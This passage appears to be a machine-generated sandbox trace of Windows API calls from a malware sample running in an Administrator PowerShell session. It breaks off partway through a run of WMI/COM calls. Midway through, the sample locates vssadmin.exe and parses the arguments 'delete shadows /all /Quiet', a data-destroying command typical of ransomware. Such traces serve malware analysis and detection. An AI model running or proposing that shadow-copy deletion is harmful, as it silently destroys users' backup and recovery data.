lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp", lpszLongPath=0x5e8e4e4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp") returned 0x3e [0059.824] GetLastError () returned 0xcb [0059.825] SetErrorMode (uMode=0x1) returned 0x1 [0059.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~18119777.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x374 [0059.825] GetLastError () returned 0x0 [0059.825] GetFileType (hFile=0x374) returned 0x1 [0059.825] SetErrorMode (uMode=0x1) returned 0x1 [0059.825] GetFileType (hFile=0x374) returned 0x1 [0059.825] ReadFile (in: hFile=0x374, lpBuffer=0x3048180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5e8ec80, lpOverlapped=0x0 | out: lpBuffer=0x3048180*, lpNumberOfBytesRead=0x5e8ec80*=0x1000, lpOverlapped=0x0) returned 1 [0059.826] GetLastError () returned 0x0 [0059.826] ReadFile (in: hFile=0x374, lpBuffer=0x3048180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5e8ec80, lpOverlapped=0x0 | out: lpBuffer=0x3048180*, lpNumberOfBytesRead=0x5e8ec80*=0x3d1, lpOverlapped=0x0) returned 1 [0059.826] GetLastError () returned 0x0 [0059.826] ReadFile (in: hFile=0x374, lpBuffer=0x3048180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5e8ec80, lpOverlapped=0x0 | out: lpBuffer=0x3048180*, lpNumberOfBytesRead=0x5e8ec80*=0x0, lpOverlapped=0x0) returned 1 [0059.826] GetLastError () returned 0x0 [0059.827] CloseHandle (hObject=0x374) returned 1 [0059.827] GetLastError () returned 0x0 [0059.833] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.833] GetLastError () returned 0xcb [0059.898] VirtualQuery (in: lpAddress=0x5e8dd74, lpBuffer=0x5e8ed74, dwLength=0x1c | out: lpBuffer=0x5e8ed74*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.966] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.966] GetLastError () returned 0xcb [0060.140] VirtualQuery (in: lpAddress=0x5e8dae8, lpBuffer=0x5e8eae8, dwLength=0x1c | out: lpBuffer=0x5e8eae8*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.140] VirtualQuery (in: lpAddress=0x5e8d708, lpBuffer=0x5e8e708, dwLength=0x1c | out: lpBuffer=0x5e8e708*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.142] VirtualQuery (in: lpAddress=0x5e8d550, lpBuffer=0x5e8e550, dwLength=0x1c | out: lpBuffer=0x5e8e550*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.142] VirtualQuery (in: lpAddress=0x5e8d550, lpBuffer=0x5e8e550, dwLength=0x1c | out: lpBuffer=0x5e8e550*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.142] VirtualQuery (in: lpAddress=0x5e8d550, lpBuffer=0x5e8e550, dwLength=0x1c | out: lpBuffer=0x5e8e550*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.142] VirtualQuery (in: lpAddress=0x5e8d550, lpBuffer=0x5e8e550, dwLength=0x1c | out: lpBuffer=0x5e8e550*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.163] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0060.164] GetLastError () returned 0xcb [0060.164] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e770 | out: lpConsoleScreenBufferInfo=0x5e8e770) returned 1 [0060.164] GetLastError () returned 0xcb [0060.168] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0060.168] GetLastError () returned 0xcb [0060.168] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5e8e770 | out: lpConsoleScreenBufferInfo=0x5e8e770) returned 1 [0060.168] GetLastError () returned 0xcb [0060.174] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0060.174] GetLastError () returned 0xcb [0060.174] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5e8e760 | out: lpConsoleScreenBufferInfo=0x5e8e760) returned 1 [0060.175] GetLastError () returned 0xcb [0060.178] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0060.188] GetLastError () returned 0xcb [0060.188] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5e8e760 | out: lpConsoleScreenBufferInfo=0x5e8e760) returned 1 [0060.188] GetLastError () returned 0xcb [0060.192] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0060.193] GetLastError () returned 0xcb [0060.193] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e768 | out: lpConsoleScreenBufferInfo=0x5e8e768) returned 1 [0060.193] GetLastError () returned 0xcb [0060.194] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0060.194] GetLastError () returned 0xcb [0060.199] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0060.200] GetLastError () returned 0xcb [0060.200] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e768 | out: lpConsoleScreenBufferInfo=0x5e8e768) returned 1 [0060.200] GetLastError () returned 0xcb [0060.200] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0060.200] GetLastError () returned 0xcb [0060.201] GetStdHandle (nStdHandle=0xfffffff5) returned 0x154 [0060.201] GetLastError () returned 0xcb [0060.201] GetConsoleMode (in: hConsoleHandle=0x154, lpMode=0x5e8e7d0 | out: lpMode=0x5e8e7d0) returned 0 [0060.201] GetLastError () returned 0x6 [0060.202] GetConsoleOutputCP () returned 0x1b5 [0060.204] GetFileType (hFile=0x154) returned 0x3 [0060.204] WriteFile (in: hFile=0x154, lpBuffer=0x31cd118*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x5e8e76c, lpOverlapped=0x0 | out: lpBuffer=0x31cd118*, lpNumberOfBytesWritten=0x5e8e76c*=0x16, lpOverlapped=0x0) returned 1 [0060.204] GetLastError () returned 0x0 [0060.208] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0060.209] GetLastError () returned 0x0 [0060.209] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e764 | out: lpConsoleScreenBufferInfo=0x5e8e764) returned 1 [0060.209] GetLastError () returned 0x0 [0060.209] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0060.209] GetLastError () returned 0x0 [0060.209] CloseHandle (hObject=0x1f) returned 1 [0060.209] GetLastError () returned 0x0 [0060.213] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0060.213] GetLastError () returned 0x0 [0060.213] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e764 | out: lpConsoleScreenBufferInfo=0x5e8e764) returned 1 [0060.214] GetLastError () returned 0x0 [0060.214] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0060.214] GetLastError () returned 0x0 [0060.214] CloseHandle (hObject=0x1f) returned 1 [0060.214] GetLastError () returned 0x0 [0060.215] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.215] GetLastError () returned 0x0 [0060.217] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.217] GetLastError () returned 0x0 [0060.221] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4090f8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.221] GetLastError () returned 0x0 [0060.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x5e8e258, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0060.225] GetLastError () returned 0x0 [0060.227] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", lpFindFileData=0x4090f8 | out: lpFindFileData=0x4090f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9f8b51, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfa9f8b51, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x78423570, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="vssadmin.exe", cAlternateFileName="")) returned 0x39eb10 [0060.227] GetLastError () returned 0x0 [0060.228] FindNextFileW (in: hFindFile=0x39eb10, lpFindFileData=0x4090f8 | out: lpFindFileData=0x4090f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9f8b51, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfa9f8b51, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x78423570, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="vssadmin.exe", cAlternateFileName="")) returned 0 [0060.228] GetLastError () returned 0x12 [0060.228] FindClose (in: hFindFile=0x39eb10 | out: hFindFile=0x39eb10) returned 1 [0060.228] SetErrorMode (uMode=0x1) returned 0x1 [0060.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", nBufferLength=0x105, lpBuffer=0x5e8e340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\vssadmin.exe", lpFilePart=0x0) returned 0x20 [0060.228] GetLastError () returned 0x12 [0060.228] SetErrorMode (uMode=0x1) returned 0x1 [0060.229] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe"), fInfoLevelId=0x0, lpFileInformation=0x5e8e7c0 | out: lpFileInformation=0x5e8e7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9f8b51, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfa9f8b51, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x78423570, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c200)) returned 1 [0060.230] GetLastError () returned 0x12 [0060.230] SetErrorMode (uMode=0x1) returned 0x1 [0060.230] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.230] GetLastError () returned 0xcb [0060.231] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.231] GetLastError () returned 0xcb [0060.234] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.234] GetLastError () returned 0xcb [0060.242] SHGetFileInfoA (in: pszPath="C:\\Windows\\system32\\vssadmin.exe", dwFileAttributes=0x0, psfi=0x406e88, cbFileInfo=0x160, uFlags=0x2000 | out: psfi=0x406e88) returned 0x4550 [0060.247] GetConsoleWindow () returned 0x0 [0060.249] AllocConsole () returned 0 [0060.249] GetLastError () returned 0x5 [0060.249] GetConsoleWindow () returned 0x0 [0060.264] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.264] GetLastError () returned 0xcb [0060.265] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.265] GetLastError () returned 0x5 [0060.283] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.283] GetLastError () returned 0x5 [0060.284] CommandLineToArgvW (in: lpCmdLine=" delete shadows /all /Quiet", pNumArgs=0x5e8e8b0 | out: pNumArgs=0x5e8e8b0) returned 0x3e8668*="" [0060.284] GetLastError () returned 0x0 [0060.284] lstrlenW (lpString="delete") returned 6 [0060.285] RtlMoveMemory (in: Destination=0x406e88, Source=0x3e8682, Length=0xe | out: Destination=0x406e88) [0060.285] lstrlenW (lpString="shadows") returned 7 [0060.285] RtlMoveMemory (in: Destination=0x406e88, Source=0x3e8690, Length=0x10 | out: Destination=0x406e88) [0060.285] lstrlenW (lpString="/all") returned 4 [0060.285] RtlMoveMemory (in: Destination=0x406e88, Source=0x3e86a0, Length=0xa | out: Destination=0x406e88) [0060.285] lstrlenW (lpString="/Quiet") returned 6 [0060.285] RtlMoveMemory (in: Destination=0x406e88, Source=0x3e86aa, Length=0xe | out: Destination=0x406e88) [0060.286] LocalFree (hMem=0x3e8668) returned 0x0 [0060.287] GetConsoleTitleW (in: lpConsoleTitle=0x4090f8, nSize=0x400 | out: lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x48 [0060.287] GetLastError () returned 0x7f [0060.296] GetLastError () returned 0x7f [0060.296] SHGetFileInfoA (in: pszPath="C:\\Windows\\system32\\vssadmin.exe", dwFileAttributes=0x0, psfi=0x406e88, cbFileInfo=0x160, uFlags=0x2000 | out: psfi=0x406e88) returned 0x4550 [0061.256] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0061.256] GetLastError () returned 0x0 [0061.261] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0061.261] GetLastError () returned 0x0 [0061.261] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8e770 | out: lpConsoleScreenBufferInfo=0x5e8e770) returned 1 [0061.262] GetLastError () returned 0x0 [0061.266] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0061.266] GetLastError () returned 0x0 [0061.266] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8e770 | out: lpConsoleScreenBufferInfo=0x5e8e770) returned 1 [0061.266] GetLastError () returned 0x0 [0061.270] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0061.270] GetLastError () returned 0x0 [0061.270] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5e8e760 | out: lpConsoleScreenBufferInfo=0x5e8e760) returned 1 [0061.271] GetLastError () returned 0x0 [0061.274] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0061.275] GetLastError () returned 0x0 [0061.275] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5e8e760 | out: lpConsoleScreenBufferInfo=0x5e8e760) returned 1 [0061.275] GetLastError () returned 0x0 [0061.279] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0061.279] GetLastError () returned 0x0 [0061.279] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e768 | out: lpConsoleScreenBufferInfo=0x5e8e768) returned 1 [0061.279] GetLastError () returned 0x0 [0061.279] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0061.280] GetLastError () returned 0x0 [0061.284] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0061.284] GetLastError () returned 0x0 [0061.284] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e768 | out: lpConsoleScreenBufferInfo=0x5e8e768) returned 1 [0061.284] GetLastError () returned 0x0 [0061.284] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0061.285] GetLastError () returned 0x0 [0061.289] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0061.328] GetLastError () returned 0x0 [0061.328] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e764 | out: lpConsoleScreenBufferInfo=0x5e8e764) returned 1 [0061.328] GetLastError () returned 0x0 [0061.328] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0061.328] GetLastError () returned 0x0 [0061.333] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0061.333] GetLastError () returned 0x0 [0061.333] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e764 | out: lpConsoleScreenBufferInfo=0x5e8e764) returned 1 [0061.333] GetLastError () returned 0x0 [0061.333] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0061.334] GetLastError () returned 0x0 [0061.352] CoGetObjectContext (in: riid=0x320880c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e74c | out: ppv=0x5e8e74c*=0x3477a4) returned 0x0 [0061.453] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0061.501] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0061.504] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0061.508] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0061.513] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3477a4, pAptType=0x5e8e744 | out: pAptType=0x5e8e744*=1) returned 0x0 [0061.565] IUnknown:QueryInterface (in: This=0x3477a4, riid=0x32087f4*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8e748 | out: ppvObject=0x5e8e748*=0x0) returned 0x80004002 [0061.566] IUnknown:Release (This=0x3477a4) returned 0x0 [0061.568] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x5e8e2fc | out: lpiid=0x5e8e2fc) returned 0x0 [0061.569] CoGetClassObject (in: rclsid=0x40ad4c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x749ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e264 | out: ppv=0x5e8e264*=0x60f0810) returned 0x0 [0061.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0810, riid=0x74ab7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e094 | out: ppvObject=0x5e8e094*=0x0) returned 0x80004002 [0061.947] WbemDefPath:IClassFactory:CreateInstance (in: This=0x60f0810, pUnkOuter=0x0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e0cc | out: ppvObject=0x5e8e0cc*=0x60f0820) returned 0x0 [0061.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0820, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8de70 | out: ppvObject=0x5e8de70*=0x60f0820) returned 0x0 [0061.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0820, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8de2c | out: ppvObject=0x5e8de2c*=0x0) returned 0x80004002 [0061.948] WbemDefPath:IUnknown:AddRef (This=0x60f0820) returned 0x3 [0061.948] CoGetContextToken (in: pToken=0x5e8dcb8 | out: pToken=0x5e8dcb8) returned 0x0 [0061.948] CoGetObjectContext (in: riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40501c | out: ppv=0x40501c*=0x347798) returned 0x0 [0061.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0820, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dca0 | out: ppvObject=0x5e8dca0*=0x40a248) returned 0x0 [0061.948] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x40a248, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8dca8 | out: pCid=0x5e8dca8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.948] WbemDefPath:IUnknown:Release (This=0x40a248) returned 0x3 [0061.949] CoGetContextToken (in: pToken=0x5e8dcb0 | out: pToken=0x5e8dcb0) returned 0x0 [0061.949] WbemDefPath:IUnknown:AddRef (This=0x60f0820) returned 0x4 [0061.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0820, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dd24 | out: ppvObject=0x5e8dd24*=0x0) returned 0x80004002 [0061.949] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x3 [0061.949] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x2 [0061.949] WbemDefPath:IUnknown:Release (This=0x60f0810) returned 0x0 [0061.949] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x1 [0061.950] CoGetContextToken (in: pToken=0x5e8e560 | out: pToken=0x5e8e560) returned 0x0 [0061.950] CoGetContextToken (in: pToken=0x5e8e520 | out: pToken=0x5e8e520) returned 0x0 [0061.950] WbemDefPath:IUnknown:AddRef (This=0x60f0820) returned 0x2 [0061.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x60f0820, riid=0x5e8e59c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8e598 | out: ppvObject=0x5e8e598*=0x60f0820) returned 0x0 [0061.950] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x2 [0061.951] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x1 [0061.951] CoGetObjectContext (in: riid=0x320880c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8df70 | out: ppv=0x5e8df70*=0x3477a4) returned 0x0 [0061.952] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3477a4, pAptType=0x5e8df68 | out: pAptType=0x5e8df68*=1) returned 0x0 [0061.952] IUnknown:QueryInterface (in: This=0x3477a4, riid=0x32087f4*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, 